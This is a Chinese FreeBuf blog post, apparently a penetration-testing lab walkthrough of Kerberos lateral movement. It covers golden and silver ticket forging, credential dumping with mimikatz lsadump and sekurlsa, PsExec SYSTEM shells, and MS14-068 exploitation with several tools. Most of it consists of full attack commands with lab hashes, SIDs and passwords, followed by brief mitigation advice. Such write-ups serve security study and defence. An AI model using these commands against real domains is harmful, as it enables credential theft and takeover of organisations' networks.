freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

内网渗透之横向移动—票据传递攻击研究
2021-10-15 10:00:40

前面讲到了Kerberos协议认证的原理: Kerberos协议认证过程(理论篇) ,理解Kerberos协议认证的原理有助于我们理解漏洞的利用原理。

黄金票据(Golden ticket)

黄金票据的出发点是在Client和DC交互这一过程的第一部分之中,AS会对通过验证的Client发送AS_REP,这里面包含了两部分:

第一部分是AS生成的临时密钥Session-key,然后使用Client的NTLM-Hash加密;

第二部分是使用用户Krbtgt的NTLM-Hash加密的Session-key(AS生成的)、时间戳以及一些用户信息,也就是TGT

如果我们可以拿到Krbtgt用户的NTLM_Hash,我们就可以伪造TGT,能够绕过对任意用户的账号策略,让用户成为任意组的成员,可用于 Kerberos 认证的任何服务。

然而拿到Krbtgt用户的NTLM_Hash就意味着我们要拿到域控DC的权限,所以黄金票据(Golden ticket)更多情况下是作为后门,如果应为某种特殊的原因失去了对DC的控制权限,但是管理员没有修改Krbtgt用户的密码,那么就可以使用黄金票据重新获得域管理员权限。

使用黄金票据来进行票据传递攻击的先决条件为:

域名

需要伪造的域管理员用户名

域SID

krbtgt的NTLM-Hash

1633787452_61619e3c2e58bbb07986f.png!small?1633787452174

kali's ip:192.168.137.115

win7's ip:192.168.137.198

windows server 2016(DC)'s ip:10.10.10.10

windows server 2012's ip1:10.10.10.11;ip2:192.168.137.115

使用mimikatz

我们通过mimikatz来抓取DC的Krbtgt用户的NTLM_Hash,首先先将mimikatz上传到DC

在上传的过程中会被杀软杀掉,我模拟的环境中DC没有安装额外的杀软,只附带了默认的windows Defender,但是仍然会被杀掉1633789075_6161a4938219405a904ce.png!small?1633789075432

最后只剩下两个文件,但是依然可以正常使用1634211805_616817dd28cf337dc27d8.png!small?1634211806068

privilege::debug
lsadump::lsa /patch //专用于在域控制器上导出用户密码或hash

1634211921_616818514dea7408be4c5.png!small?1634211922410

由此我们可以得到

域SID:S-1-5-21-3960071969-2362883727-1949664287

krbtgt的NTLM-Hash:6e29949b6be5db95085477551f347ea0

再使用mimikatz生成TGT凭证

域名:com

需要伪造的域管理员用户名:administrator

域SID:S-1-5-21-3960071969-2362883727-1949664287

krbtgt的NTLM-Hash:6e29949b6be5db95085477551f347ea0

//kerberos::golden /user:[username] /domain:[domain] /sid:[sid] /krbtgt:[krbtgt's Hash] /ticket:ticket.kirbi
kerberos::golden /user:administrator /domain:g1ts.com /sid:S-1-5-21-3960071969-2362883727-1949664287 /krbtgt:6e29949b6be5db95085477551f347ea0 /ticket:ticket.kirbi

1634211961_616818797c4f118993af7.png!small?1634211962400

然后将mimikatz上传到windows server 2012,将凭证注入

#kerberos::ptt <票据文件>
kerberos::ptt ticket.kirbi

1634211981_6168188d99bf0e9869fec.png!small?1634211982474

可以用一下命令来查看注入的票据

kerberos::tgt

一开始windows server 2012运行命令的情况如下、

1634215693_6168270d925ce6bdf197c.png!small?1634215694492

1634215701_61682715eca75fafeaef1.png!small?1634215702930

注入票据后运行命令的结果如下

1634215713_61682721c1661bd10c88c.png!small?1634215714720

1634215731_616827334a1b6d3906eec.png!small?1634215732338

联动PsExec

psexec包含在pstools工具包中,pstools的下载地址:https://download.sysinternals.com/files/PSTools.zip

参数解释

-accepteula:默认同意用户协议(即第一次使用询问是否同意用户协议,使用此参数则默认同意不会弹窗)

-s:返回一个system权限的shell,如果不加此参数则返回一个管理员权限(administrator)的shell

在使用Psexec执行远程命令时,会在目标系统中创建一个psexec服务。命令执行后, psexec服务将被自动删除。由于创建或删除服务时会产生大量的日志,可以在进行攻击溯源时通过日志反推攻击流程。

远程执行命令

psexec.exe -accepteula \\WinSer2016 cmd.exe /c "ipconfig"

1634215765_61682755aef47b9af0556.png!small?1634215766654

反弹新的shell

PsExec64.exe -accepteula \\WinSer2016 -s cmd.exe

1634215784_6168276886cb97097135a.png!small?1634215785533

使用Metasploit

其实原理也是使用msf的mimikatz(kiwi),所以首先要先获得一个meterpreter

1634215794_616827725fa3f0c47f9e4.png!small?1634215795273

然后加载kiwi

1634215802_6168277a7549e823d489a.png!small?1634215803758

kiwi的命令和mimikatz还是有点不一样的

//golden_ticket_create -d [domain] -k [krbtgt's Hash] -s [sid] -u [username] -t [path] golden_ticket_create -d g1ts.com -k 6e29949b6be5db95085477551f347ea0 -s S-1-5-21-3960071969-2362883727-1949664287 -u administrator -t /root/桌面/others/ntds.dit  //查看本地储存的票据 kerberos_ticket_list //将票据注入内存 kerberos_ticket_use /root/桌面/others/ntds.dit

1634215822_6168278e408d0144b863b.png!small?1634215823155

1634215825_616827910b83fc02c3ed3.png!small?1634215826192

1634215830_61682796af8c9df9c4ce5.png!small?1634215831620

1634215842_616827a205e1edb0492f6.png!small?1634215842938

白银票据(Silver ticket)

白银票据原理不同于黄金票据,白银票据不需要访问KDC,而是通过已知的授权服务密码生成一张可以访问该服务的TGT,由于不需要使用KDC,所以隐蔽性较强

使用白银票据的先决条件:

域名

域SID

服务账号的NTLM-Hash

要伪造的用户名

域控IP

可利用的服务

由于白银票据同样要使用到服务账号的NTLM-Hash,而这个Hash大概率也是需要拿到DC的权限才可以获得,所以白银票据大部分情况下也是作为后门存在

使用白银票据伪造CIFS服务权限

CIFS:用于windows主机之间进行网络文件共享

首先将mimikatz上传到DC,获得机器账号的哈希值

privilege::debug
sekurlsa::logonpasswords

1634215870_616827beac12a9bbbb0eb.png!small?1634215871914

1634215875_616827c3e791b6a8bbf37.png!small?1634215877012

注意,这个NTLM是机器WinSer2016的Hash,并非是用户administrator的Hash

NTLM:6cb7dce4a6c2ad0956bde89dc28b4310

SID:S-1-5-21-3960071969-2362883727-1949664287

注意:SID不取图片后面的-500

然后在windows server 2012生成白银票据

//kerberos::golden /domain:[domain] /sid:[SID] /target:FQDN /rc4:[server's Hash] /service:[service] /user:[username] /ptt
kerberos::golden /domain:g1ts.com /sid:S-1-5-21-3960071969-2362883727-1949664287 /target:WinSer2016.g1ts.com /rc4:6cb7dce4a6c2ad0956bde89dc28b4310 /service:cifs /user:administrastor /ptt

1634215900_616827dc65d63b8f45c73.png!small?1634215901387

一开始是无法直接远程访问DC的

1634215907_616827e3bd686dd11ed48.png!small?1634215909048

使用白银票据后就可以了

1634215922_616827f2377f6dc2cc1d0.png!small?1634215923385

如果使用命令

dir \\[computer's name]\c$

不可以访问,可以尝试输入主机全名,即主机名加域名

dir \\WinSer2016.g1ts.com\c$

MS14-068

之前的文章降到了PAC,以及PAC的作用,简单来说就是微软为了防止拿到Hash就可以随意的访问任何的服务,于是引入了PAC,在AS_REP中会包含PAC,PAC里面包含了用户的 SID、用户所在的组等一些信息,在最后Client尝试访问Server是,Server会将PAC扔给DC,让DC来判断此Client是否有权限访问Server。

但是在引入PAC的同时也产生了MS14-068这个漏洞该漏洞是位于kdcsvc.dll域控制器的密钥分发中心(KDC)服务中的Windows 漏洞,它允许经过身份验证的用户在其获得的票证TGT中插入任意的PAC 。普通用户可以通过改变了PAC的TGT来伪造票据获得管理员权限。

使用MS14-068的先决条件:

域内任意⽤户 SID

域内任意⽤户密码(经测试只能在 2008及以下的操作系统实现)

利用工具:WindowsExploits/MS14-068 at master · abatchy17/WindowsExploits (github.com)

利用环境

域控制器为window server 2008及以下(亲测)

首先我们需要域用户的用户名和密码

username:testuser password:admin!@#456

然后再获得域SID,可以使用这条命令

whoami /user

1634215990_616828367602155f55460.png!small?1634215991346

SID:S-1-5-21-3935027624-4034083410-82536497-1105

使用MS14-068.exe

(因为重新搭建了一个域控制器,所以有一些设置和之前不一样)

然后通过利用工具成TGT票据

MS14-068.exe -u [userName@domainName] -p [clearPassword] -s [userSid] -d [domainControlerAddr]
MS14-068.exe -u testuser@test.com -p admin!@#456 -s S-1-5-21-3935027624-4034083410-82536497-1105 -d 10.10.10.60

1634216371_616829b3e381cfe85586f.png!small?1634216372902

成功生成名为TGT_testuser@g1ts.com.ccache的票据文件,然后我们需要注入此票据文件,在没有注入前是无法远程访问DC的

1634216379_616829bbe7e981f1a64ac.png!small?1634216380875

//清空当前机器中所有凭证,如果有域成员凭证会影响凭证伪造
kerberos::purge
//查看当前机器凭证
kerberos::list
//将票据注⼊到内存中
kerberos::ptc [file name]

1634216397_616829cd423e9d573a1f7.png!small?1634216398301

1634216402_616829d262d84f0cb5929.png!small?1634216403460

使用ms14-068.py

下载地址:windows-kernel-exploits/MS14-068/pykek at master · SecWiki/windows-kernel-exploits (github.com)

WindowsExploits/MS14-068 at master · abatchy17/WindowsExploits (github.com)

//python ms14-068.py -u 域用户名@域名 -s 域用户sid -d 域控ip -p域用户密码
ms14-068.py -u testuser@test.com -p admin!@#456 -s S-1-5-21-3935027624-4034083410-82536497-1105 -d 10.10.10.60

使用GoldenPac.py

这个脚本一直运行错误,所以没办法动手实践了,所以就简单的记录一下使用方法

此脚本包含在impacket包中,为ms14-068和psexec的结合产物,使用起来更加的方便,而且可以直接走代理进入内网

在windows下运行:

//goldenPac.py -dc-ip 域控IP -target-ip 目标机IP 域名/普通域用户名:普通域用户密码@域控 python3 goldenPac.py -dc-ip 10.10.10.10 -target-ip 10.10.10.12 g1ts.com/testuser:admin!\@#456@WinSer2016.g1ts.com

在kali上运行:

由于kali默认没有安装kerberos认证功能,说以需要手动安装一个kerberos客户端

apt-get install krb5-user

然后再使用

//goldenPac.py -dc-ip 域控IP -target-ip 目标机IP 域名/普通域用户名:普通域用户密码@域控 python3 goldenPac.py -dc-ip 10.10.10.10 -target-ip 10.10.10.12 g1ts.com/testuser:admin!\@#456@WinSer2016.g1ts.com

当然此工具不止是得到一个shell,我们甚至可以直接让该域控运行我们上传的程序,执行一个empire stager或者一个msf payload都不在话下。

使用Metasploit

使用模块

auxiliary/admin/kerberos/ms14_068_kerberos_checksum

设置选项,rhost设置为域控制器地址,user和password为域用户的用户名和密码

1634216489_61682a295707e8a163570.png!small?1634216490416

1634216493_61682a2d566539578029e.png!small?1634216494235

然后生成的文件会存放在/root/.msf4/loot文件夹下,但是我们无法直接利用,我们需要使用mimikatz进行格式转换为kirbi文件

kerberos::clist 20211012105258_default_10.10.10.10_windows.kerberos_215999.bin /export

可以看得到导出的路径和文件名,然后将其拷贝回kali,待一会使用,然后让目标机器上线msf1634216517_61682a459e37f2c79b9ab.png!small?1634216518732

1634216522_61682a4a3cb604e75b1e9.png!small?1634216523212

然后加载kiwi模块,导入刚才生成的票据

kerberos_ticket_use /root/0-00000000-testuser@krbtgt-G1TS.COM.kirbi

但是我怎么都导入不进去,在网上找了很多篇文章,发现大部分的文章都是导入不进去或者,没过程的

1634216540_61682a5c838fd26947598.png!small?1634216541421

如果导入成功就可以使用msf另一个模块

exploit/windows/local/current_user_psexecset

设置好session和rhost为域控制器地址就可以进行攻击了

防范

针对Kerberos域用户提权漏洞,有如下防范建议。

1.开启Windows Update功能,进行自动更新。

2.手动下载补丁包进行修复。微软已经发布了修复该漏洞的补丁:https://technet.microsoft.com/library/security/ms14-068

3.对域内账号进行控制,禁止使用弱口令,及时、定期修改密码。

4.在服务器上安装反病毒软件,及时更新病毒库。

# 渗透测试 # web安全 # 内网渗透 # Kerberos协议 # 票据传递
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录